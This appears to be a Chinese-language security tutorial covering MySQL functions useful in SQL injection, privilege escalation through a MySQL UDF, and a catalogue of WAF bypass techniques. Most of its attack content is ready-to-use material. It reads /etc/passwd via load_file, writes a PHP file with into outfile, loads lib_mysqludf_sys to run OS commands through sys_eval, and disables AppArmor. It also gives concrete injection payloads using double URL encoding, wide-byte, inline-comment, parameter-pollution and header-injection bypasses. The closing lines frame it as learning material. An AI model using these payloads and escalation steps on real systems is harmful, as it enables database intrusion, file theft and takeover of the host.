数据库udf提权,WAF绕过
1、数据库自带函数的功能与用法
系统函数
函数名 | 说明 |
---|---|
version() | 系统版本 |
user() ||CURRENT_USER() | 数据库用户名 |
database() | 数据库名 |
@@datadir | 数据库路径 |
@@version_compile_os | 操作系统版本 |
select version() as 系统函数,user() as 数据库用户名,database() as 数据库 名 ,@@datadir as 数据库路径, @@version_compile_os as 操作系统版本;
字符串的编码转换
函数名 | 说明 |
---|---|
hex() | 字符串转换为16进制 |
unhex() | 16进制转换为字符串 |
to_base64() | 编码为base64字符串 |
from_base64() | 按base64解码字符串 |
ord() | 返回字符串 s 的第一个字符的 ASCII 码。 |
ascii() | 返回字符串 s 的第一个字符的 ASCII 码。 |
char() | 按ascii解码字符串 |
CONVERT(s USING cs) | 函数将字符串 s 的字符集变成 cs,如utf-8 转 gbk |
字符的编码转换一般是在绕过 WAF中起作用。
select hex('a');
select unhex('61');
select to_base64('b');
select from_base64(to_base64('b'));
select ord('ca');#第一个字符
select char(99);
select ascii('da');
select char(100);
select ascii(substr(database(),1,1))=100;#二分法测试
select convert('ef' using gbk);
select unhex(hex('a')) as q, char(ascii('b')) as w, from_base64(to_base64('c')) as e, convert('d' using gbk) as r, char(ord('e')) as t;
字符串的连接
在Mysql中三个函数用于字符串的连接,同样一般用于WAF绕过
函数名 | 说明 |
---|---|
concat() | 字符串 s1,s2 等多个字符串合并为一个字符串 |
concat_ws(separator,str1,str2,….) | 功能与concat相仿,多了一个参数分割符separator,用于分割每个字符串 |
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])) | group_concat() 一般和group by一块使用 |
select concat('hello',' world') as A ,concat_ws(' ','hello','world') as B;
use test;#数据库
select group_concat(name) from student group by classfid;
字符串截取函数
字符串截取函数一般用于盲注里的条件判断,对表名或数据库名进行截取并枚举。
mysql中有三个字符串截取函数:
函数名 | 说明 |
---|---|
mid | 从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len) |
substring(s,start,length) | 从字符串 s 的 start 位置截取长度为 length 的子字符串 |
SUBSTRING_INDEX(s, delimiter, number) | 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。 |
left(s,n) | 返回字符串 s 的前 n 个字符 |
right(s,n) | 返回字符串 s 的后 n 个字符 |
select * from student wheren num='1' and substr('male',1,2)='ma';
select mid('abc',1,2);
select left('abcqwert',5),right('abcqwert',5);
有时为了更好的枚举爆破,可以先尝试获取字符串的长度。
函数名 | 说明 |
---|---|
char_length(s) | 返回字符串 s 的字符数 |
character_length(s) | char_length()的同义词 |
length(s) | char_length()的同义词 |
select * from student where num=1 and length(version())>8;
其他常见函数
函数名 | 说明 |
---|---|
if(expr,v1,v2) | 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。 |
limit | limit m,n 返回从m行到n行的结果,用于限制返回结果的行数 |
load_file() | 读取文件中的数据 |
into_outfile() | 写入文件 |
读取文件:
select load_file('/etc/passwd')
#使用十六进制绕过单引号限制
hex('/etc/passwd');
select load_file(0x2F6574632F706173737764);
写入文件:
select '<?php phpinfo();?>' into outfile '/tmp/xxx.php';
2、udf提权
UDF (user defined function)
,即用户自定义函数。是通过添加新函数,对MySQL
的功能进行扩充,就像使用本地函数如 user()
一样。文件后缀.so
,则为linux
系统,后缀为.dll
,为win
系统。
在无web
脚本执行权限,但是有mysql root
执行的环境下,我们就可以通过into dumpfile
函数导入udf.dll
进行提权。有web
脚本执行权限时,也可以直接上传udf
提权脚本。
使用dumpfile
,secure_file_priv
设置为空,在mysql
配置文件中修改。
1)收集信息
查看secure_file_priv
show variables like '%secure%';
在配置文件中修改:当前为空,即可以在任意文件夹下导出文件
vim /etc/mysql/mysql.conf.d/mysqld.cnf
加入:secure_file_priv=""
查看系统版本:
show variables like '%compile';
查看系统版本信息:mysql为5.7.31,系统为ubuntu16.04
select version();
对于高于5.1版本的mysql,需要将udf文件 放置在插件目录下
show variables like '%plugin%';
2)导入udf.so
在kali中找到udf文件,进入服务器/usr/lib/mysql/plugin/目录下,直接将udf文件拖入plugin目录下。
kali:/usr/share/metasploit-framework/data/exploits/mysql中下载udf文件,直接拖入目的文件夹。
或使用dumfile导入。
#将lib_mysqludf_sys.so传至/tmp/路径下,使用load_file()对其读取,并转换成十六进制文件后再写入/tmp/目录下:
select hex(load_file('/tmp/lib_mysqludf_sys.so')) into dumpfile '/tmp/udf.hex';
select 0x[udf.hex内容] into dumpfile '/usr/lib/plugin/udf.so';
3)安装udf
create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
select * from mysql.func where name = 'sys_eval';
sys_eval:该函数将执行系统命令并在屏幕上通过标准输出显示。
sys_get:该函数使用’getenv’函数返回系统变量的值。
sys_exec:该函数将在“系统”函数内传递参数’args-> args [0]’。你可以使用它在目标机器上执行系统命令。
drop function sys_eval;
4)执行命令
select sys_eval('ls');
问题:使用select sys_eval();
执行命令返回NULL
。
Apparmor是Linux内核和Ubuntu Linux安全模块。执行如下指令:
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
成功执行命令提权。
3、变换字符串绕过WAF
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。总结了注入绕过WAF的常见方法。
1. 各种编码绕过
绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。
a) URL编码:
增加了过滤规则的代码:
代码中增加了特殊字符过滤,但在参数值进入数据库查询语句前多了一步解码操作:
$id= urldecode($id);
正常payload:
?id=1' and '1'='2
直接提交攻击语句,单引号被过滤,注入语句未成功插入。绕过payload:
?id= %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
b) 二次URL编码
增加了过滤规则的代码:
代码中在特殊字符过滤前又多增加了一步解码操作,可使用二次URL编码进行绕过。
正常payload:
?id=1'and '1'='2 ?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
使用一次URL编码绕过后,由于在过滤前会进行一次解码操作,所以单引号还是被过滤掉,注入语句未成功插入。绕过payload:
?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32
c) 其他编码
除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,此处不再重复。
2. 字母大小写转换绕过
部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过。
增加了过滤规则的代码:
正常payload:
?id=1' and sleep(3) and '1'='1 ?id=1' and SLEEP(3) and '1'='1
绕过payload:
?id=1' and sleeP(3) and '1'='1 ?id=1' and slEeP(3) and '1'='1
3. 空格过滤绕过
增加了过滤规则的代码:
部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过。
a) 使用空白符替换空格绕过
数据库类型 | 允许的空白符 |
---|---|
SQLite3 | 0A,0D,0C,09,20 |
MySQL5 | 09,0A,0B,0C,0D,A0,20 |
PosgresSQL | 0A,0D,0C,09,20 |
Oracle11g | 00,0A,0D,0C,09,20 |
MSSQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
正常payload:
?id=1'and sleep(3) and '1'='1
空格被过滤,注入语句未成功插入。绕过payload:
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1
b) 使用‘+’替换空格绕过
绕过payload:
?id=1'+and+sleep(3)+and+'1'='1
c) 使用注释符/**/替换空格绕过
绕过payload:
?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1
4. 双字节绕过
部分WAF会对关键字只进行一次过滤处理,可使用双字节绕过。增加了过滤规则的代码:
正常payload:
?id=1and SLeeP(3) and 1=1
由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。绕过payload:
?id=1+and+SLesleepeP(3)+and+1=1
WAF只对关键字sleep进行一次过滤,可使用SLEsleepEP,进行一次过滤后成为sleep,可绕过WAF,注入语句成功写入。
5. 内联注释绕过
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)*/),那么此注释里的语句将被执行。
增加了过滤规则的代码:
正常payload:
?id=1+and+sleep(3)+and+1=2
绕过payload:
?id=1+and+/*!50001sleep(3)*/+and+1=1
6. 请求方式差异规则松懈性绕过
有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。
增加了过滤规则的代码:
正常payload:
GET /xxx/?id=1+and+sleep(4)
绕过payload:
POST /xxx/ id=1+and+sleep(4)
发送POST请求,绕过过滤规则,注入语句成功写入。
7. 异常Method绕过
有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。
增加了过滤规则的代码:
正常payload:
GET/xxx/?id=1+and+sleep(3) HTTP/1.1
绕过payload:
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1
8. 超大数据包绕过
部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测
增加了过滤规则的代码:
正常payload:
?id=1+and+sleep(3)
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
添加无用字符,使内容大小超过WAF检测能检测到的最大内容。
9. 复参数绕过
在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。
正常payload:
?id=1+and+sleep(3)
绕过payload:
?id=1&id=2+and+sleep(3)
将攻击语句赋予最后一个id参数,可绕过WAF检测直接进入后端服务器。
10. 添加%绕过过滤
将WAF中过滤的敏感字符通过添加%绕过过滤。
例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符。
正常payload:
?id=1 union select 1, 2, 3 from admin ?id=1union select 1, 2, 3 from admin
绕过payload:
?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin ?id=1union s%e%lect 1, 2, 3 from admin
11. 协议未覆盖绕过
以下四种常见的content-type类型:
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。
例如使用multipart/form-data进行绕过。
12. 宽字节绕过
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。
正常payload:
?id=1'and 1=1--+
绕过payload:
?id=1%df%27and 1=1--+
%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。
13. %00截断
部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。
正常payload:
?a=1&id=1and sleep(3)
绕过payload:
?a=1%00.&id=1and sleep(3)
14. Cookie/X-Forwarded-For注入绕过
部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。
正常payload:
GET /index.aspx?id=1+and+1=1 HTTP/1.1
Host: 192.168.61.175
...........
Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;
绕过payload:
GET /index.aspx HTTP/1.1
Host: 192.168.61.175
...........
Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1’;WAITFOR DELAY’0:0:5’–
15. 利用pipline绕过
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
利用pipline进行绕过:首先关闭burp的Repeater的Content-Length自动更新
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
16. 利用分块编码传输绕过
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。
具体解释
在 sql 注入时为了应对各种限制措施,利用数据库自带的一些系统函数经过各种变换之后可以绕过一些安全设备或者一些基础防御的措施,比如一些字符串转换的函数、截取字符串长度的函数等,参考学习:
> https://www.runoob.com/mysql/mysql-functions.html
应用的场景包括:通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等
我们经常在注入时候想要利用数据库来执行系统命令,不同的数据库可能使用不不同的方式,比如 Mysql 的 udf、Mssql 的 xp_cmdshell 等,这个在利用注入提权的时候非常有帮助,通过数据库执行系统命令所拥有的权限跟数据库的安装过程是有关系的,所以搞清楚这个关系也很重要,这样我们在安装配置数据库的时候可以尽量避免权限过高,造成安全隐患。
除了学习这些基础基础知识外,自己可以动手构造一些可以利用数据库执行命令的场景然后进行测试,完全理解这个提权的过程。